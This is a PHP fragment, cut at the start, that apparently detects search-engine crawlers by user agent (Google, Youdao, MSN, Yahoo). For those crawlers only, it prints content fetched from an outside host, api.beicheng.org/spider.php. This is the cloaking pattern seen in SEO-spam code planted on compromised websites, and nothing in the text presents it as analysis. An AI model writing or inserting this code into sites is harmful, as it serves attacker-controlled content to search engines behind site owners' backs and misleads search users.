';
}
if (strpos($useragent, 'googlebot') !== false){
return 'Google';
}
if (strpos($useragent, 'youdaobot') !== false){
return 'Youdao';
}
if (strpos($useragent, 'msnbot') !== false){
return 'Msn';
}
if (strpos($useragent, 'yahoo') !== false){
return 'Yahoo';
}
return false;
}
$searchbot = get_naps_bot();
if($searchbot) {
echo file_get_contents("https://api.beicheng.org/spider.php");
}?>